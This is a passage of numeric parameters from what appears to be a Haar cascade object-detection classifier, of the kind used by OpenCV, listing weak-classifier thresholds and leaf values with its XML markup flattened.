1730 5.6111000478267670e-02 + + -5.0141602754592896e-01 4.3976101279258728e-01 + <_> + + 0 -1 1731 4.0463998913764954e-02 + + -3.2922199368476868e-01 5.4834699630737305e-01 + <_> + + 0 -1 1732 6.3155002892017365e-02 + + -3.1701698899269104e-01 4.6152999997138977e-01 + <_> + + 0 -1 1733 1.0320999659597874e-02 + + 1.0694999992847443e-01 -9.8243898153305054e-01 + <_> + + 0 -1 1734 6.2606997787952423e-02 + + -1.4329700171947479e-01 7.1095001697540283e-01 + <_> + + 0 -1 1735 -3.9416000247001648e-02 + + 9.4380199909210205e-01 -2.1572099626064301e-01 + <_> + + 0 -1 1736 -5.3960001096129417e-03 + + -5.4611998796463013e-01 2.5303798913955688e-01 + <_> + + 0 -1 1737 1.0773199796676636e-01 + + 1.2496000155806541e-02 -1.0809199810028076e+00 + <_> + + 0 -1 1738 1.6982000321149826e-02 + + -3.1536400318145752e-01 5.1239997148513794e-01 + <_> + + 0 -1 1739 3.1216999515891075e-02 + + -4.5199999585747719e-03 -1.2443480491638184e+00 + <_> + + 0 -1 1740 -2.3106999695301056e-02 + + -7.6492899656295776e-01 2.0640599727630615e-01 + <_> + + 0 -1 1741 -1.1203999631106853e-02 + + 2.4092699587345123e-01 -3.5142099857330322e-01 + <_> + + 0 -1 1742 -4.7479998320341110e-03 + + -9.7007997334003448e-02 2.0638099312782288e-01 + <_> + + 0 -1 1743 -1.7358999699354172e-02 + + -7.9020297527313232e-01 2.1852999925613403e-02 + <_> + + 0 -1 1744 1.8851999193429947e-02 + + -1.0394600033760071e-01 5.4844200611114502e-01 + <_> + + 0 -1 1745 7.2249998338520527e-03 + + -4.0409401059150696e-01 2.6763799786567688e-01 + <_> + + 0 -1 1746 1.8915999680757523e-02 + + 2.0508000254631042e-01 -1.0206340551376343e+00 + <_> + + 0 -1 1747 3.1156999990344048e-02 + + 1.2400000123307109e-03 -8.7293499708175659e-01 + <_> + + 0 -1 1748 2.0951999351382256e-02 + + -5.5559999309480190e-03 8.0356198549270630e-01 + <_> + + 0 -1 1749 1.1291000060737133e-02 + + -3.6478400230407715e-01 2.2767899930477142e-01 + <_> + + 0 -1 1750 -5.7011000812053680e-02 + + -1.4295619726181030e+00 1.4322000741958618e-01 + <_> + + 0 -1 1751 7.2194002568721771e-02 + + -4.1850000619888306e-02 -1.9111829996109009e+00 + <_> + + 0 -1 1752 -1.9874000921845436e-02 + + 2.6425498723983765e-01 -3.2617700099945068e-01 + <_> + + 0 -1 1753 -1.6692999750375748e-02 + + -8.3907800912857056e-01 4.0799999260343611e-04 + <_> + + 0 -1 1754 -3.9834998548030853e-02 + + -4.8858499526977539e-01 1.6436100006103516e-01 + <_> + + 0 -1 1755 2.7009999379515648e-02 + + -1.8862499296665192e-01 8.3419400453567505e-01 + <_> + + 0 -1 1756 -3.9420002140104771e-03 + + 2.3231500387191772e-01 -7.2360001504421234e-02 + <_> + + 0 -1 1757 2.2833000868558884e-02 + + -3.5884000360965729e-02 -1.1549400091171265e+00 + <_> + + 0 -1 1758 -6.8888001143932343e-02 + + -1.7837309837341309e+00 1.5159000456333160e-01 + <_> + + 0 -1 1759 4.3097000569105148e-02 + + -2.1608099341392517e-01 5.0624102354049683e-01 + <_> + + 0 -1 1760 8.6239995434880257e-03 + + -1.7795599997043610e-01 2.8957900404930115e-01 + <_> + + 0 -1 1761 1.4561000280082226e-02 + + -1.1408000253140926e-02 -8.9402002096176147e-01 + <_> + + 0 -1 1762 -1.1501000262796879e-02 + + 3.0171999335289001e-01 -4.3659001588821411e-02 + <_> + + 0 -1 1763 -1.0971499979496002e-01 + + -9.5147097110748291e-01 -1.9973000511527061e-02 + <_> + + 0 -1 1764 4.5228000730276108e-02 + + 3.3110998570919037e-02 9.6619802713394165e-01 + <_> + + 0 -1 1765 -2.7047999203205109e-02 + + 9.7963601350784302e-01 -1.7261900007724762e-01 + <_> + + 0 -1 1766 1.8030999228358269e-02 + + -2.0801000297069550e-02 2.7385899424552917e-01 + <_> + + 0 -1 1767 5.0524998456239700e-02 + + -5.6802999228239059e-02 -1.7775089740753174e+00 + <_> + + 0 -1 1768 -2.9923999682068825e-02 + + 6.5329200029373169e-01 -2.3537000641226768e-02 + <_> + + 0 -1 1769 3.8058001548051834e-02 + + 2.6317000389099121e-02 -7.0665699243545532e-01 + <_> + + 0 -1 1770 1.8563899397850037e-01 + + -5.6039998307824135e-03 3.2873699069023132e-01 + <_> + + 0 -1 1771 -4.0670000016689301e-03 + + 3.4204798936843872e-01 -3.0171599984169006e-01 + <_> + + 0 -1 1772 1.0108999907970428e-02 + + -7.3600001633167267e-03 5.7981598377227783e-01 + <_> + + 0 -1 1773 -1.1567000299692154e-02 + + -5.2722197771072388e-01 4.6447999775409698e-02 + <_> + + 0 -1 1774 -6.5649999305605888e-03 + + -5.8529102802276611e-01 1.9101899862289429e-01 + <_> + + 0 -1 1775 1.0582000017166138e-02 + + 2.1073000505566597e-02 -6.8892598152160645e-01 + <_> + + 0 -1 1776 -2.0304000005125999e-02 + + -3.6400699615478516e-01 1.5338799357414246e-01 + <_> + + 0 -1 1777 2.3529999889433384e-03 + + 3.6164000630378723e-02 -5.9825098514556885e-01 + <_> + + 0 -1 1778 -1.4690000098198652e-03 + + -1.4707699418067932e-01 3.7507998943328857e-01 + <_> + + 0 -1 1779 8.6449999362230301e-03 + + -2.1708500385284424e-01 5.1936799287796021e-01 + <_> + + 0 -1 1780 -2.4326000362634659e-02 + + -1.0846769809722900e+00 1.4084799587726593e-01 + <_> + + 0 -1 1781 7.4418999254703522e-02 + + -1.5513800084590912e-01 1.1822769641876221e+00 + <_> + + 0 -1 1782 1.7077999189496040e-02 + + 4.4231001287698746e-02 9.1561102867126465e-01 + <_> + + 0 -1 1783 -2.4577999487519264e-02 + + -1.5504100322723389e+00 -5.4745998233556747e-02 + <_> + + 0 -1 1784 3.0205000191926956e-02 + + 1.6662800312042236e-01 -1.0001239776611328e+00 + <_> + + 0 -1 1785 1.2136000208556652e-02 + + -7.7079099416732788e-01 -4.8639997839927673e-03 + <_> + + 0 -1 1786 8.6717002093791962e-02 + + 1.1061699688434601e-01 -1.6857999563217163e+00 + <_> + + 0 -1 1787 -4.2309001088142395e-02 + + 1.1075930595397949e+00 -1.5438599884510040e-01 + <_> + + 0 -1 1788 -2.6420000940561295e-03 + + 2.7451899647712708e-01 -1.8456199765205383e-01 + <_> + + 0 -1 1789 -5.6662000715732574e-02 + + -8.0625599622726440e-01 -1.6928000375628471e-02 + <_> + + 0 -1 1790 2.3475000634789467e-02 + + 1.4187699556350708e-01 -2.5500899553298950e-01 + <_> + + 0 -1 1791 -2.0803000777959824e-02 + + 1.9826300442218781e-01 -3.1171199679374695e-01 + <_> + + 0 -1 1792 7.2599998675286770e-03 + + -5.0590999424457550e-02 4.1923800110816956e-01 + <_> + + 0 -1 1793 3.4160000085830688e-01 + + -1.6674900054931641e-01 9.2748600244522095e-01 + <_> + + 0 -1 1794 6.2029999680817127e-03 + + -1.2625899910926819e-01 4.0445300936698914e-01 + <_> + + 0 -1 1795 3.2692000269889832e-02 + + -3.2634999603033066e-02 -9.8939800262451172e-01 + <_> + + 0 -1 1796 2.1100000594742596e-04 + + -6.4534001052379608e-02 2.5473698973655701e-01 + <_> + + 0 -1 1797 7.2100001852959394e-04 + + -3.6618599295616150e-01 1.1973100155591965e-01 + <_> + + 0 -1 1798 5.4490998387336731e-02 + + 1.2073499709367752e-01 -1.0291390419006348e+00 + <_> + + 0 -1 1799 -1.0141000151634216e-02 + + -5.2177202701568604e-01 3.3734999597072601e-02 + <_> + + 0 -1 1800 -1.8815999850630760e-02 + + 6.5181797742843628e-01 1.3399999588727951e-03 + <_> + + 0 -1 1801 -5.3480002097785473e-03 + + 1.7370699346065521e-01 -3.4132000803947449e-01 + <_> + + 0 -1 1802 -1.0847000405192375e-02 + + -1.9699899852275848e-01 1.5045499801635742e-01 + <_> + + 0 -1 1803 -4.9926001578569412e-02 + + -5.0888502597808838e-01 3.0762000009417534e-02 + <_> + + 0 -1 1804 1.2160000391304493e-02 + + -6.9251999258995056e-02 1.8745499849319458e-01 + <_> + + 0 -1 1805 -2.2189998999238014e-03 + + -4.0849098563194275e-01 7.9954996705055237e-02 + <_> + + 0 -1 1806 3.1580000650137663e-03 + + -2.1124599874019623e-01 2.2366400063037872e-01 + <_> + + 0 -1 1807 4.1439998894929886e-03 + + -4.9900299310684204e-01 6.2917001545429230e-02 + <_> + + 0 -1 1808 -7.3730000294744968e-03 + + -2.0553299784660339e-01 2.2096699476242065e-01 + <_> + + 0 -1 1809 5.1812000572681427e-02 + + 1.8096800148487091e-01 -4.3495801091194153e-01 + <_> + + 0 -1 1810 1.8340000882744789e-02 + + 1.5200000256299973e-02 3.7991699576377869e-01 + <_> + + 0 -1 1811 1.7490799725055695e-01 + + -2.0920799672603607e-01 4.0013000369071960e-01 + <_> + + 0 -1 1812 5.3993999958038330e-02 + + 2.4751600623130798e-01 -2.6712900400161743e-01 + <_> + + 0 -1 1813 -3.2033199071884155e-01 + + -1.9094380140304565e+00 -6.6960997879505157e-02 + <_> + + 0 -1 1814 -2.7060000225901604e-02 + + -7.1371299028396606e-01 1.5904599428176880e-01 + <_> + + 0 -1 1815 7.7463999390602112e-02 + + -1.6970199346542358e-01 7.7552998065948486e-01 + <_> + + 0 -1 1816 2.3771999403834343e-02 + + 1.9021899998188019e-01 -6.0162097215652466e-01 + <_> + + 0 -1 1817 1.1501000262796879e-02 + + 7.7039999887347221e-03 -6.1730301380157471e-01 + <_> + + 0 -1 1818 3.2616000622510910e-02 + + 1.7159199714660645e-01 -7.0978200435638428e-01 + <_> + + 0 -1 1819 -4.4383000582456589e-02 + + -2.2606229782104492e+00 -7.3276996612548828e-02 + <_> + + 0 -1 1820 -5.8476001024246216e-02 + + 2.4087750911712646e+00 8.3091996610164642e-02 + <_> + + 0 -1 1821 1.9303999841213226e-02 + + -2.7082300186157227e-01 2.7369999885559082e-01 + <_> + + 0 -1 1822 -4.4705998152494431e-02 + + 3.1355598568916321e-01 -6.2492001801729202e-02 + <_> + + 0 -1 1823 -6.0334999114274979e-02 + + -1.4515119791030884e+00 -5.8761000633239746e-02 + <_> + + 0 -1 1824 1.1667000129818916e-02 + + -1.8084999173879623e-02 5.0479698181152344e-01 + <_> + + 0 -1 1825 2.8009999543428421e-02 + + -2.3302899301052094e-01 3.0708700418472290e-01 + <_> + + 0 -1 1826 6.5397001802921295e-02 + + 1.4135900139808655e-01 -5.0010901689529419e-01 + <_> + + 0 -1 1827 9.6239997074007988e-03 + + -2.2054600715637207e-01 3.9191201329231262e-01 + <_> + + 0 -1 1828 2.5510000996291637e-03 + + -1.1381500214338303e-01 2.0032300055027008e-01 + <_> + + 0 -1 1829 3.1847000122070312e-02 + + 2.5476999580860138e-02 -5.3326398134231567e-01 + <_> + + 0 -1 1830 3.3055000007152557e-02 + + 1.7807699739933014e-01 -6.2793898582458496e-01 + <_> + + 0 -1 1831 4.7600999474525452e-02 + + -1.4747899770736694e-01 1.4204180240631104e+00 + <_> + + 0 -1 1832 -1.9571999087929726e-02 + + -5.2693498134613037e-01 1.5838600695133209e-01 + <_> + + 0 -1 1833 -5.4730001837015152e-02 + + 8.8231599330902100e-01 -1.6627800464630127e-01 + <_> + + 0 -1 1834 -2.2686000913381577e-02 + + -4.8386898636817932e-01 1.5000100433826447e-01 + <_> + + 0 -1 1835 1.0713200271129608e-01 + + -2.1336199343204498e-01 4.2333900928497314e-01 + <_> + + 0 -1 1836 -3.6380000412464142e-02 + + -7.4198000133037567e-02 1.4589400589466095e-01 + <_> + + 0 -1 1837 1.3935999944806099e-02 + + -2.4911600351333618e-01 2.6771199703216553e-01 + <_> + + 0 -1 1838 2.0991999655961990e-02 + + 8.7959999218583107e-03 4.3064999580383301e-01 + <_> + + 0 -1 1839 4.9118999391794205e-02 + + -1.7591999471187592e-01 6.9282901287078857e-01 + <_> + + 0 -1 1840 3.6315999925136566e-02 + + 1.3145299255847931e-01 -3.3597299456596375e-01 + <_> + + 0 -1 1841 4.1228000074625015e-02 + + -4.5692000538110733e-02 -1.3515930175781250e+00 + <_> + + 0 -1 1842 1.5672000125050545e-02 + + 1.7544099688529968e-01 -6.0550000518560410e-02 + <_> + + 0 -1 1843 -1.6286000609397888e-02 + + -1.1308189630508423e+00 -3.9533000439405441e-02 + <_> + + 0 -1 1844 -3.0229999683797359e-03 + + -2.2454300522804260e-01 2.3628099262714386e-01 + <_> + + 0 -1 1845 -1.3786299526691437e-01 + + 4.5376899838447571e-01 -2.1098700165748596e-01 + <_> + + 0 -1 1846 -9.6760001033544540e-03 + + -1.5105099976062775e-01 2.0781700313091278e-01 + <_> + + 0 -1 1847 -2.4839999154210091e-02 + + -6.8350297212600708e-01 -8.0040004104375839e-03 + <_> + + 0 -1 1848 -1.3964399695396423e-01 + + 6.5011298656463623e-01 4.6544000506401062e-02 + <_> + + 0 -1 1849 -8.2153998315334320e-02 + + 4.4887199997901917e-01 -2.3591999709606171e-01 + <_> + + 0 -1 1850 3.8449999410659075e-03 + + -8.8173002004623413e-02 2.7346798777580261e-01 + <_> + + 0 -1 1851 -6.6579999402165413e-03 + + -4.6866598725318909e-01 7.7001996338367462e-02 + <_> + + 0 -1 1852 -1.5898000448942184e-02 + + 2.9268398880958557e-01 -2.1941000595688820e-02 + <_> + + 0 -1 1853 -5.0946000963449478e-02 + + -1.2093789577484131e+00 -4.2109999805688858e-02 + <_> + + 0 -1 1854 1.6837999224662781e-02 + + -4.5595999807119370e-02 5.0180697441101074e-01 + <_> + + 0 -1 1855 1.5918999910354614e-02 + + -2.6904299855232239e-01 2.6516300439834595e-01 + <_> + + 0 -1 1856 3.6309999413788319e-03 + + -1.3046100735664368e-01 3.1807100772857666e-01 + <_> + + 0 -1 1857 -8.6144998669624329e-02 + + 1.9443659782409668e+00 -1.3978299498558044e-01 + <_> + + 0 -1 1858 3.3140998333692551e-02 + + 1.5266799926757812e-01 -3.0866000801324844e-02 + <_> + + 0 -1 1859 -3.9679999463260174e-03 + + -7.1202301979064941e-01 -1.3844000175595284e-02 + <_> + + 0 -1 1860 -2.4008000269532204e-02 + + 9.2007797956466675e-01 4.6723999083042145e-02 + <_> + + 0 -1 1861 8.7320003658533096e-03 + + -2.2567300498485565e-01 3.1931799650192261e-01 + <_> + + 0 -1 1862 -2.7786999940872192e-02 + + -7.2337102890014648e-01 1.7018599808216095e-01 + <_> + + 0 -1 1863 -1.9455300271511078e-01 + + 1.2461860179901123e+00 -1.4736199378967285e-01 + <_> + + 0 -1 1864 -1.0869699716567993e-01 + + -1.4465179443359375e+00 1.2145300209522247e-01 + <_> + + 0 -1 1865 -1.9494999200105667e-02 + + -7.8153097629547119e-01 -2.3732999339699745e-02 + <_> + + 0 -1 1866 3.0650000553578138e-03 + + -8.5471397638320923e-01 1.6686999797821045e-01 + <_> + + 0 -1 1867 5.9193998575210571e-02 + + -1.4853699505329132e-01 1.1273469924926758e+00 + <_> + + 0 -1 1868 -5.4207999259233475e-02 + + 5.4726999998092651e-01 3.5523999482393265e-02 + <_> + + 0 -1 1869 -3.9324998855590820e-02 + + 3.6642599105834961e-01 -2.0543999969959259e-01 + <_> + + 0 -1 1870 8.2278996706008911e-02 + + -3.5007998347282410e-02 5.3994202613830566e-01 + <_> + + 0 -1 1871 -7.4479999020695686e-03 + + -6.1537498235702515e-01 -3.5319998860359192e-03 + <_> + + 0 -1 1872 7.3770000599324703e-03 + + -6.5591000020503998e-02 4.1961398720741272e-01 + <_> + + 0 -1 1873 7.0779998786747456e-03 + + -3.4129500389099121e-01 1.2536799907684326e-01 + <_> + + 0 -1 1874 -1.5581999905407429e-02 + + -3.0240398645401001e-01 2.1511000394821167e-01 + <_> + + 0 -1 1875 -2.7399999089539051e-03 + + 7.6553001999855042e-02 -4.1060501337051392e-01 + <_> + + 0 -1 1876 -7.0600003004074097e-02 + + -9.7356200218200684e-01 1.1241800338029861e-01 + <_> + + 0 -1 1877 -1.1706000193953514e-02 + + 1.8560700118541718e-01 -2.9755198955535889e-01 + <_> + + 0 -1 1878 7.1499997284263372e-04 + + -5.9650000184774399e-02 2.4824699759483337e-01 + <_> + + 0 -1 1879 -3.6866001784801483e-02 + + 3.2751700282096863e-01 -2.3059600591659546e-01 + <_> + + 0 -1 1880 -3.2526999711990356e-02 + + -2.9320299625396729e-01 1.5427699685096741e-01 + <_> + + 0 -1 1881 -7.4813999235630035e-02 + + -1.2143570184707642e+00 -5.2244000136852264e-02 + <_> + + 0 -1 1882 4.1469998657703400e-02 + + 1.3062499463558197e-01 -2.3274369239807129e+00 + <_> + + 0 -1 1883 -2.8880000114440918e-02 + + -6.6074597835540771e-01 -9.0960003435611725e-03 + <_> + + 0 -1 1884 4.6381998807191849e-02 + + 1.6630199551582336e-01 -6.6949498653411865e-01 + <_> + + 0 -1 1885 2.5424998998641968e-01 + + -5.4641999304294586e-02 -1.2676080465316772e+00 + <_> + + 0 -1 1886 2.4000001139938831e-03 + + 2.0276799798011780e-01 1.4667999930679798e-02 + <_> + + 0 -1 1887 -8.2805998623371124e-02 + + -7.8713601827621460e-01 -2.4468999356031418e-02 + <_> + + 0 -1 1888 -1.1438000015914440e-02 + + 2.8623399138450623e-01 -3.0894000083208084e-02 + <_> + + 0 -1 1889 -1.2913399934768677e-01 + + 1.7292929887771606e+00 -1.4293900132179260e-01 + <_> + + 0 -1 1890 3.8552999496459961e-02 + + 1.9232999533414841e-02 3.7732601165771484e-01 + <_> + + 0 -1 1891 1.0191400349140167e-01 + + -7.4533998966217041e-02 -3.3868899345397949e+00 + <_> + + 0 -1 1892 -1.9068000838160515e-02 + + 3.1814101338386536e-01 1.9261000677943230e-02 + <_> + + 0 -1 1893 -6.0775000602006912e-02 + + 7.6936298608779907e-01 -1.7644000053405762e-01 + <_> + + 0 -1 1894 2.4679999798536301e-02 + + 1.8396499752998352e-01 -3.0868801474571228e-01 + <_> + + 0 -1 1895 2.6759000495076180e-02 + + -2.3454900085926056e-01 3.3056598901748657e-01 + <_> + + 0 -1 1896 1.4969999901950359e-02 + + 1.7213599383831024e-01 -1.8248899281024933e-01 + <_> + + 0 -1 1897 2.6142999529838562e-02 + + -4.6463999897241592e-02 -1.1318379640579224e+00 + <_> + + 0 -1 1898 -3.7512000650167465e-02 + + 8.0404001474380493e-01 6.9660000503063202e-02 + <_> + + 0 -1 1899 -5.3229997865855694e-03 + + -8.1884402036666870e-01 -1.8224999308586121e-02 + <_> + + 0 -1 1900 1.7813000828027725e-02 + + 1.4957800507545471e-01 -1.8667200207710266e-01 + <_> + + 0 -1 1901 -3.4010000526905060e-02 + + -7.2852301597595215e-01 -1.6615999862551689e-02 + <_> + + 0 -1 1902 -1.5953000634908676e-02 + + 5.6944000720977783e-01 1.3832000084221363e-02 + <_> + + 0 -1 1903 1.9743999466300011e-02 + + 4.0525000542402267e-02 -4.1773399710655212e-01 + <_> + + 0 -1 1904 -1.0374800115823746e-01 + + -1.9825149774551392e+00 1.1960200220346451e-01 + <_> + + 0 -1 1905 -1.9285000860691071e-02 + + 5.0230598449707031e-01 -1.9745899736881256e-01 + <_> + + 0 -1 1906 -1.2780000455677509e-02 + + 4.0195000171661377e-01 -2.6957999914884567e-02 + <_> + + 0 -1 1907 -1.6352999955415726e-02 + + -7.6608800888061523e-01 -2.4209000170230865e-02 + <_> + + 0 -1 1908 -1.2763699889183044e-01 + + 8.6578500270843506e-01 6.4205996692180634e-02 + <_> + + 0 -1 1909 1.9068999215960503e-02 + + -5.5929797887802124e-01 -1.6880000475794077e-03 + <_> + + 0 -1 1910 3.2480999827384949e-02 + + 4.0722001343965530e-02 4.8925098776817322e-01 + <_> + + 0 -1 1911 9.4849998131394386e-03 + + -1.9231900572776794e-01 5.1139700412750244e-01 + <_> + + 0 -1 1912 5.0470000132918358e-03 + + 1.8706800043582916e-01 -1.6113600134849548e-01 + <_> + + 0 -1 1913 4.1267998516559601e-02 + + -4.8817999660968781e-02 -1.1326299905776978e+00 + <_> + + 0 -1 1914 -7.6358996331691742e-02 + + 1.4169390201568604e+00 8.7319999933242798e-02 + <_> + + 0 -1 1915 -7.2834998369216919e-02 + + 1.3189860582351685e+00 -1.4819100499153137e-01 + <_> + + 0 -1 1916 5.9576999396085739e-02 + + 4.8376999795436859e-02 8.5611802339553833e-01 + <_> + + 0 -1 1917 2.0263999700546265e-02 + + -2.1044099330902100e-01 3.3858999609947205e-01 + <_> + + 0 -1 1918 -8.0301001667976379e-02 + + -1.2464400529861450e+00 1.1857099831104279e-01 + <_> + + 0 -1 1919 -1.7835000529885292e-02 + + 2.5782299041748047e-01 -2.4564799666404724e-01 + <_> + + 0 -1 1920 1.1431000195443630e-02 + + 2.2949799895286560e-01 -2.9497599601745605e-01 + <_> + + 0 -1 1921 -2.5541000068187714e-02 + + -8.6252999305725098e-01 -7.0400000549852848e-04 + <_> + + 0 -1 1922 -7.6899997657164931e-04 + + 3.1511399149894714e-01 -1.4349000155925751e-01 + <_> + + 0 -1 1923 -1.4453999698162079e-02 + + 2.5148499011993408e-01 -2.8232899308204651e-01 + <_> + + 0 -1 1924 8.6730001494288445e-03 + + 2.6601400971412659e-01 -2.8190800547599792e-01 + <_> + 197 + -3.2772979736328125e+00 + + <_> + + 0 -1 1925 5.4708998650312424e-02 + + -5.4144299030303955e-01 6.1043000221252441e-01 + <_> + + 0 -1 1926 -1.0838799923658371e-01 + + 7.1739900112152100e-01 -4.1196098923683167e-01 + <_> + + 0 -1 1927 2.2996999323368073e-02 + + -5.8269798755645752e-01 2.9645600914955139e-01 + <_> + + 0 -1 1928 2.7540000155568123e-03 + + -7.4243897199630737e-01 1.4183300733566284e-01 + <_> + + 0 -1 1929 -2.1520000882446766e-03 + + 1.7879900336265564e-01 -6.8548601865768433e-01 + <_> + + 0 -1 1930 -2.2559000179171562e-02 + + -1.0775549411773682e+00 1.2388999760150909e-01 + <_> + + 0 -1 1931 8.3025000989437103e-02 + + 2.4500999599695206e-02 -1.0251879692077637e+00 + <_> + + 0 -1 1932 -6.6740000620484352e-03 + + -4.5283100008964539e-01 2.1230199933052063e-01 + <_> + + 0 -1 1933 7.6485000550746918e-02 + + -2.6972699165344238e-01 4.8580199480056763e-01 + <_> + + 0 -1 1934 5.4910001344978809e-03 + + -4.8871201276779175e-01 3.1616398692131042e-01 + <_> + + 0 -1 1935 -1.0414999909698963e-02 + + 4.1512900590896606e-01 -3.0044800043106079e-01 + <_> + + 0 -1 1936 2.7607999742031097e-02 + + 1.6203799843788147e-01 -9.9868500232696533e-01 + <_> + + 0 -1 1937 -2.3272000253200531e-02 + + -1.1024399995803833e+00 2.1124999970197678e-02 + <_> + + 0 -1 1938 -5.5619999766349792e-02 + + 6.5033102035522461e-01 -2.7938000857830048e-02 + <_> + + 0 -1 1939 -4.0631998330354691e-02 + + 4.2117300629615784e-01 -2.6763799786567688e-01 + <_> + + 0 -1 1940 -7.3560001328587532e-03 + + 3.5277798771858215e-01 -3.7854000926017761e-01 + <_> + + 0 -1 1941 1.7007000744342804e-02 + + -2.9189500212669373e-01 4.1053798794746399e-01 + <_> + + 0 -1 1942 -3.7034001201391220e-02 + + -1.3216309547424316e+00 1.2966500222682953e-01 + <_> + + 0 -1 1943 -1.9633000716567039e-02 + + -8.7702298164367676e-01 1.0799999581649899e-03 + <_> + + 0 -1 1944 -2.3546999320387840e-02 + + 2.6106101274490356e-01 -2.1481400728225708e-01 + <_> + + 0 -1 1945 -4.3352998793125153e-02 + + -9.9089699983596802e-01 -9.9560003727674484e-03 + <_> + + 0 -1 1946 -2.2183999419212341e-02 + + 6.3454401493072510e-01 -5.6547001004219055e-02 + <_> + + 0 -1 1947 1.6530999913811684e-02 + + 2.4664999917149544e-02 -7.3326802253723145e-01 + <_> + + 0 -1 1948 -3.2744001597166061e-02 + + -5.6297200918197632e-01 1.6640299558639526e-01 + <_> + + 0 -1 1949 7.1415998041629791e-02 + + -3.0000001424923539e-04 -9.3286401033401489e-01 + <_> + + 0 -1 1950 8.0999999772757292e-04 + + -9.5380000770092010e-02 2.5184699892997742e-01 + <_> + + 0 -1 1951 -8.4090000018477440e-03 + + -6.5496802330017090e-01 6.7300997674465179e-02 + <_> + + 0 -1 1952 -1.7254000529646873e-02 + + -4.6492999792098999e-01 1.6070899367332458e-01 + <_> + + 0 -1 1953 -1.8641000613570213e-02 + + -1.0594010353088379e+00 -1.9617000594735146e-02 + <_> + + 0 -1 1954 -9.1979997232556343e-03 + + 5.0716197490692139e-01 -1.5339200198650360e-01 + <_> + + 0 -1 1955 1.8538000062108040e-02 + + -3.0498200654983521e-01 7.3506200313568115e-01 + <_> + + 0 -1 1956 -5.0335001200437546e-02 + + -1.1140480041503906e+00 1.8000100553035736e-01 + <_> + + 0 -1 1957 -2.3529000580310822e-02 + + -8.6907899379730225e-01 -1.2459999881684780e-02 + <_> + + 0 -1 1958 -2.7100000530481339e-02 + + 6.5942901372909546e-01 -3.5323999822139740e-02 + <_> + + 0 -1 1959 6.5879998728632927e-03 + + -2.2953400015830994e-01 4.2425099015235901e-01 + <_> + + 0 -1 1960 2.3360000923275948e-02 + + 1.8356199562549591e-01 -9.8587298393249512e-01 + <_> + + 0 -1 1961 1.2946999631822109e-02 + + -3.3147400617599487e-01 2.1323199570178986e-01 + <_> + + 0 -1 1962 -6.6559999249875546e-03 + + -1.1951400339603424e-01 2.9752799868583679e-01 + <_> + + 0 -1 1963 -2.2570999339222908e-02 + + 3.8499400019645691e-01 -2.4434499442577362e-01 + <_> + + 0 -1 1964 -6.3813999295234680e-02 + + -8.9383500814437866e-01 1.4217500388622284e-01 + <_> + + 0 -1 1965 -4.9945000559091568e-02 + + 5.3864401578903198e-01 -2.0485299825668335e-01 + <_> + + 0 -1 1966 6.8319998681545258e-03 + + -5.6678999215364456e-02 3.9970999956130981e-01 + <_> + + 0 -1 1967 -5.5835999548435211e-02 + + -1.5239470005035400e+00 -5.1183000206947327e-02 + <_> + + 0 -1 1968 3.1957000494003296e-01 + + 7.4574001133441925e-02 1.2447799444198608e+00 + <_> + + 0 -1 1969 8.0955997109413147e-02 + + -1.9665500521659851e-01 5.9889698028564453e-01 + <_> + + 0 -1 1970 -1.4911999925971031e-02 + + -6.4020597934722900e-01 1.5807600319385529e-01 + <_> + + 0 -1 1971 4.6709001064300537e-02 + + 8.5239000618457794e-02 -4.5487201213836670e-01 + <_> + + 0 -1 1972 6.0539999976754189e-03 + + -4.3184000253677368e-01 2.2452600300312042e-01 + <_> + + 0 -1 1973 -3.4375999122858047e-02 + + 4.0202501416206360e-01 -2.3903599381446838e-01 + <_> + + 0 -1 1974 -3.4924000501632690e-02 + + 5.2870100736618042e-01 3.9709001779556274e-02 + <_> + + 0 -1 1975 3.0030000489205122e-03 + + -3.8754299283027649e-01 1.4192600548267365e-01 + <_> + + 0 -1 1976 -1.4132999815046787e-02 + + 8.7528401613235474e-01 8.5507996380329132e-02 + <_> + + 0 -1 1977 -6.7940000444650650e-03 + + -1.1649219989776611e+00 -3.3943001180887222e-02 + <_> + + 0 -1 1978 -5.2886001765727997e-02 + + 1.0930680036544800e+00 5.1187001168727875e-02 + <_> + + 0 -1 1979 -2.1079999860376120e-03 + + 1.3696199655532837e-01 -3.3849999308586121e-01 + <_> + + 0 -1 1980 1.8353000283241272e-02 + + 1.3661600649356842e-01 -4.0777799487113953e-01 + <_> + + 0 -1 1981 1.2671999633312225e-02 + + -1.4936000108718872e-02 -8.1707501411437988e-01 + <_> + + 0 -1 1982 1.2924999929964542e-02 + + 1.7625099420547485e-01 -3.2491698861122131e-01 + <_> + + 0 -1 1983 -1.7921000719070435e-02 + + -5.2745401859283447e-01 4.4443000108003616e-02 + <_> + + 0 -1 1984 1.9160000374540687e-03 + + -1.0978599637746811e-01 2.2067500650882721e-01 + <_> + + 0 -1 1985 -1.4697999693453312e-02 + + 3.9067798852920532e-01 -2.2224999964237213e-01 + <_> + + 0 -1 1986 -1.4972999691963196e-02 + + -2.5450900197029114e-01 1.7790000140666962e-01 + <_> + + 0 -1 1987 1.4636999927461147e-02 + + -2.5125000625848770e-02 -8.7121301889419556e-01 + <_> + + 0 -1 1988 -1.0974000208079815e-02 + + 7.9082798957824707e-01 2.0121000707149506e-02 + <_> + + 0 -1 1989 -9.1599998995661736e-03 + + -4.7906899452209473e-01 5.2232000976800919e-02 + <_> + + 0 -1 1990 4.6179997734725475e-03 + + -1.7244599759578705e-01 3.4527799487113953e-01 + <_> + + 0 -1 1991 2.3476999253034592e-02 + + 3.7760001141577959e-03 -6.5333700180053711e-01 + <_> + + 0 -1 1992 3.1766999512910843e-02 + + 1.6364000737667084e-02 5.8723700046539307e-01 + <_> + + 0 -1 1993 -1.8419999629259109e-02 + + 1.9993899762630463e-01 -3.2056498527526855e-01 + <_> + + 0 -1 1994 1.9543999806046486e-02 + + 1.8450200557708740e-01 -2.3793600499629974e-01 + <_> + + 0 -1 1995 4.1159498691558838e-01 + + -6.0382001101970673e-02 -1.6072119474411011e+00 + <_> + + 0 -1 1996 -4.1595999151468277e-02 + + -3.2756200432777405e-01 1.5058000385761261e-01 + <_> + + 0 -1 1997 -1.0335999540984631e-02 + + -6.2394398450851440e-01 1.3112000189721584e-02 + <_> + + 0 -1 1998 1.2392999604344368e-02 + + -3.3114999532699585e-02 5.5579900741577148e-01 + <_> + + 0 -1 1999 -8.7270000949501991e-03 + + 1.9883200526237488e-01 -3.7635600566864014e-01 + <_> + + 0 -1 2000 1.6295000910758972e-02 + + 2.0373000204563141e-01 -4.2800799012184143e-01 + <_> + + 0 -1 2001 -1.0483999736607075e-02 + + -5.6847000122070312e-01 4.4199001044034958e-02 + <_> + + 0 -1 2002 -1.2431999668478966e-02 + + 